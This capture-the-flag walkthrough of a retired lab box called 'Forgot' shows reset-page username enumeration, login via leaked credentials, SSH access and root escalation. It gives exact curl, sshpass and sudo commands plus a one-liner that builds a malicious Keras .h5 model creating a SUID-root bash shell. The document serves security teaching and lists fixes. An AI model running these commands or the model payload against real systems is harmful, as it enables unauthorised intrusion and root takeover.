Forgot
Summary
I found a Flask/Werkzeug web portal behind a Varnish cache. Its password-reset page told my which usernames were valid, and a developer comment left in the login page's HTML leaked an internal username.
Using that identity and the application's reset and login flow, I got an authenticated session. Inside the application they recovered the SSH password for the operating-system account 'diego', and that password worked on the host.
Diego's sudo rights allowed a root-run machine-learning security script that loaded TensorFlow models with safe mode turned off. A crafted model file ran my code as root, which gave full control of the server.
Command conventions
The commands below refer to the target and to any recovered credentials by variable rather than by value. Bind them in your shell before running anything; the values this box yielded are not published, so use your own.
export TARGET="<retired-instance-ip>"
export PASSWORD="<the-password-you-recovered, for robert-dev-367120>"
export PASSWORD2="<the-password-you-recovered, for robert-dev-14522>"
export PASSWORD3="<the-password-you-recovered, for diego>"Some commands also carry a value in angle brackets — <models-dir>, <path-to> — which you replace inline with what the step before it turned up.
Attack path — how the box was taken
Exact commands 3
Confirm only 22/tcp and 80/tcp are open and identify the web stack.
$ nmap -sC -sV -p- --min-rate 2000 $TARGETFetch the landing page and response headers.
$ curl -ksS -L --max-time 15 -D - http://$TARGET/Shows that protected pages redirect to the login page.
$ curl -ksS -L --max-time 15 -D - http://$TARGET/ticketsExact commands 3
Valid account: returns the 'can't be reset' message.
$ curl -sS --max-time 15 --get --data-urlencode username=admin http://$TARGET/forgotUnknown account: returns 'Invalid Username'. The different replies are the enumeration oracle.
$ curl -sS --max-time 15 --get --data-urlencode username=invalid_no_such_user http://$TARGET/forgotRead the page source to find the developer comment leaking 'robert-dev-367120'.
$ curl -sS --max-time 15 http://$TARGET/ | sed -n '165,240p'FixStop the password-reset page from revealing valid usernames and remove developer comments from page sourceMedium
Exact commands 3
Review the reset form's JavaScript to see how the new password is submitted.
$ curl -sS --max-time 15 http://$TARGET/reset | sed -n '155,215p'Default-credential guess based on the leaked name (failed).
$ curl -i -sS --max-time 15 -c /tmp/forgot-default.cookies -X POST -d "username=robert-dev-367120&password=$PASSWORD" http://$TARGET/loginSuccessful login; the session cookie is saved to /tmp/forgot-auth.cookies.
$ curl -i -sS --max-time 15 -c /tmp/forgot-auth.cookies -X POST -d "username=robert-dev-14522&password=$PASSWORD2" http://$TARGET/loginFixEnforce strong passwords and a secure, token-protected reset processHigh
Exact commands 2
Browse the authenticated area (home, tickets and similar pages) and read the content for credentials or sensitive data.
$ curl -sS -b /tmp/forgot-auth.cookies http://$TARGET/homeReview ticket content for passwords shared with support or staff.
$ curl -sS -b /tmp/forgot-auth.cookies http://$TARGET/ticketsFixKeep operating-system credentials out of the application and do not reuse passwordsHigh
Exact commands 3
Confirm SSH access and the uid.
$ sshpass -p "$PASSWORD3" ssh -o StrictHostKeyChecking=no diego@$TARGET id
uid=1000(diego) gid=1000(diego) groups=1000(diego)Open an interactive shell; the password is $PASSWORD3.
$ ssh diego@$TARGETProve the access level, then read the flag (<user.txt>).
$ id; hostname; cat /home/diego/user.txtExact commands 2
List the commands diego may run as root. Note the full path of ml_security.py and any argument restrictions.
$ sudo -lSubstitute the path reported by sudo -l. Look for keras/tf load_model calls with safe_mode=False and for the directory the script reads models from.
$ cat <path-to>/ml_security.pyFixRemove the sudo rule or make the ML security script load only trusted, safe model formatsCritical
Exact commands 4
Build a malicious .h5 model with a Lambda layer that creates a SUID-root shell. Build it on a machine with a matching TensorFlow version, then copy it to the target.
$ python3 -c "import tensorflow as tf; m=tf.keras.Sequential([tf.keras.layers.Input((1,)), tf.keras.layers.Lambda(lambda x: __import__('os').system('cp /bin/bash /tmp/rb; chmod u+s /tmp/rb') or x)]); m.save('/tmp/evil.h5')"Place the model in the directory the script reads (<models-dir> comes from the script's source).
$ cp /tmp/evil.h5 <models-dir>/evil.h5Run the allowed script exactly as sudo -l permits. Loading the model executes the payload as root.
$ sudo <path-to>/ml_security.pyProve root with the id output, then read the flag (<root.txt>).
$ /tmp/rb -p -c 'id; cat /root/root.txt'Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Exposed services
| 22/tcp | ssh recon-sweep-discovered |
| 80/tcp | http Werkzeug httpd 2.1.2 (Python 3.8.10) |
Techniques used
New to these ideas? Learn the concepts in Hack & Learn.